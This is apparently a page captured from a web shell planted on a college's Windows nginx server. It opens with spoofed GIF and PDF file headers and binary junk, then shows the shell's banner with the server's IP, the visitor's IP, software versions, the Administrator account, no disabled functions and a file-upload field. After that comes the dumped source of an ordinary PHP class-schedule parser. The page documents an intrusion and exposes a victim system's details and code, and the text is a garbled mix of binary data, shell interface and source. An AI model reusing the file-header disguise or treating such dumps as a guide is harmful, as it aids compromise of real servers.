GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Scheduler/admin/parse/ |
Upload File : |
<? // admin/parse/parse.phpinc // Parse schedule files from https://ws.ridgewater.edu/ClassLists. #$DEBUG_parse = true; if ( !isset($DEBUG_parse) ) $DEBUG_parse = false; t_Begin($DEBUG_parse); // Begin TRACKing include_filename.phpinc. d_V(); if ( $sessionInfo['sessionName'] ) { sectionHeader($sessionInfo['sessionName'].' Parsed'); ?> <h2><?=$sessionInfo['sessionName']?></h2> <? sectionFooter(); } require('parseFunctions.phpinc'); // DELETE classes for this YRTR. $query = " DELETE FROM `class` WHERE YRTR = '".query_safe($sessionInfo['YRTR'])."' "; d_Var('classDELETE',$query,'q'); $classDELETE = query_do($query); d_Var('$classDELETE',$classDELETE,'l'); $class = array(); // Store the class data. $classQIds = array(); $classInfo; // Store the class info from one class. $campus; // Store the campus name. $department = array(); // Store the departments found in the files. $instructor = array(); // Store the instructors found in the files. #$YRTR; // Store the year/term. $numberOfClassesTotal = 0; $tableStarted = false; $parseFiles = array('Hutchinson','Willmar','Online'); #$parseFiles = array('Hutchinson'); foreach ( $parseFiles as $parseFile ) { // Loop through files. if ( $parseFile ) { // Is the parseFile not empty? //sectionHeader(); divShowHideBegin('<span class="info large">Parse '.$parseFile.'</span>'); $webFile = $sessionInfo['YRTR'].'-'.$parseFile.'-ClassList.html'; // Define online file name. $parseFilePath = 'http://ws.ridgewater.edu/ClassLists/'.$webFile; if (file_exists($parseFilePath)) { if ( $DEBUG_parse ) d_Line($parseFile.' found.'); } else { if ( $DEBUG_parse ) d_Line($parseFilePath.' not found.','de'); } $numberOfClassesByFile = 1; $numberOfSkipsByFile = 1; $state = 10; $statePrevious = 0; $subState = ''; $line = 0; $classLn_FileContentsArray = file($parseFilePath); // Get the web page file. // Get file in one string w/o newlines from array. $classLn_FileContents = ''; foreach ($classLn_FileContentsArray as $classLn_FileContentsLine ) { $classLn_FileContents .= str_replace(array("\n","\r"),'',$classLn_FileContentsLine); // Add these contents w/o newlines. } d_Var('count($classLn_FileContents)',count($classLn_FileContents)); $classLn_FileTR = str_ireplace('<tr',"~~<tr",$classLn_FileContents); // Insert tr marker character. d_Var('count(classLn_FileTR)',count($classLn_FileTR)); $classLn_FileTD = str_ireplace(array('<td','<th'),array('||<td','||<th'),$classLn_FileTR); // Insert td/th marker character. d_Var('count(classLn_FileTD)',count($classLn_FileTD)); $classLn_Notags = strip_tags($classLn_FileTD); // Strip all html tags. d_Var('count(classLn_Notags)',count($classLn_Notags)); $classLn_Array = explode('~~',$classLn_Notags); // Explode on TR markers. array_unshift($classLn_Array,''); // Insert a blank line so array index number matches the file line number. d_Var('classLn_Array',$classLn_Array); $classLnCount = count($classLn_Array); d_Var('classLnCount',$classLnCount); /* State table: 10 - Find department line. 11 - Get department. 20 - Find class line. 21 - Get class info. 30 - Check for class meeting line. 31 - Get class meeting info. 40 - Unused. 41 - Unused. 60 - Save class. 99 - End parse because of error. */ #$classLnCount = 50; while ( !$f_error && $line <= $classLnCount ) { // Loop thru lines. if (get_ClassLn()) { if ( $DEBUG_parse ) d_Line("line:$line of $classLnCount, state:$state statePrevious:$statePrevious.",'/'); if ( $DEBUG_parse ) d_Line("$classLn",''); #if ( $DEBUG_parse ) d_Var('$classLnAsize',$classLnAsize); #if ( $DEBUG_parse ) d_Var('$classLnA',$classLnA); #if ( $DEBUG_parse ) d_Var('$classLnA',$classLnA); exit; $filename = 'parse_'.$state.$subState.'.phpinc'; $filepathname = dirname($_SERVER['SCRIPT_FILENAME']).'/'.$filename; #if ( $DEBUG_parse ) d_Var('$state:$statePrevious:$filename',$state.':'.$statePrevious.':'.$filename); if ( file_exists($filepathname) ) { require($filename); } else { $f_error = '<br><span class="bold error">'."State $state is not programmed.<br>Or file $filepathname does not exist.".'</span>'."<br><br>\n"; } } } // Loop thru lines. d_Var('$classInfo',$classInfo,''); if ( isset($classInfo['classQId']) ) { require('parse_60.phpinc'); } d_Var('$class',$class); $numberOfClassesByFile--; // Fix $numberOfClassesByFile count. $numberOfSkipsByFile--; d_Var('$numberOfClassesByFile',$numberOfClassesByFile); if ( !$f_error ) { // Was there an error? // No. $numberOfClassesTotal += $numberOfClassesByFile; if ( $tableStarted ) { ?> </table> <? } ?> <br><span class="info">END Parse <?=$parseFile?>.</span> <? } else { // Was there an error? // Yes. Display DEBUG info. require('displayErrorsAndMessages.phpinc'); if ( $DEBUG_parse ) d_Var('$state',$state); $lineOverlap = 5; if (!isset($lineStart)) $lineStart = max(0,$line - 10); $lineStart = max(0,$lineStart - $lineOverlap); if (!isset($lineStop)) $lineStop = min($classLnCount,$line + 10); $lineStop = min($classLnCount,$lineStop + $lineOverlap); $errorIndex = $line; $lineShow = $lineStart; ?> <pre> <? while ($lineShow <= $errorIndex) { $classLn = rtrim($classLn_Array[$lineShow]); $lineDisplay = " ".$lineShow.": "; $lineDisplay = substr($lineDisplay,strlen($lineDisplay)-6,6); if ( $lineShow == $lineStart+$lineOverlap || $lineShow == $lineStop-$lineOverlap ) { echo '<span class="info">==========</span>',"\n"; } if ($lineShow != $errorIndex) { echo $lineDisplay,$classLn,"\n"; } else { echo '<span class="error">',$lineDisplay,$classLn,'</span>',"\n"; echo '<span class="info">$classLnA=</span>',"\n"; print_r($classLnA); } $lineShow++; } ?> </pre> <? } // Was there an error? divShowHideEnd(); ?> <b style="padding-left:1em;">New classes parsed: <?=$numberOfClassesByFile?></b>. <? if ( $numberOfSkipsByFile ) { $text = 'class'; if ($numberOfSkipsByFile > 1 ) { $text .= 'es'; } ?> <b class="class_same"><?=$numberOfSkipsByFile?> <?=$text?> skip matched</b>. <? } //sectionFooter(); } // Is the parseFile not empty? } // Loop through files. // Display total classes parsed. if ( $numberOfClassesTotal ) { ?> <h4>Total classes parsed: <?=$numberOfClassesTotal?></h4> <? #d_On(); #d_Var('$class',$class,'d'); /** / foreach ( $class as $tc ) { d_Var("\$tc['courseCredits']",$tc['courseCredits'],'d'); } /**/ #d_Var('$department',$department,'d'); #d_Var('$sessionInfo',$sessionInfo,'d'); #d_Off(); require('parseProcess.phpinc'); } t_End(); // End TRACKing include_filename.phpinc. ?>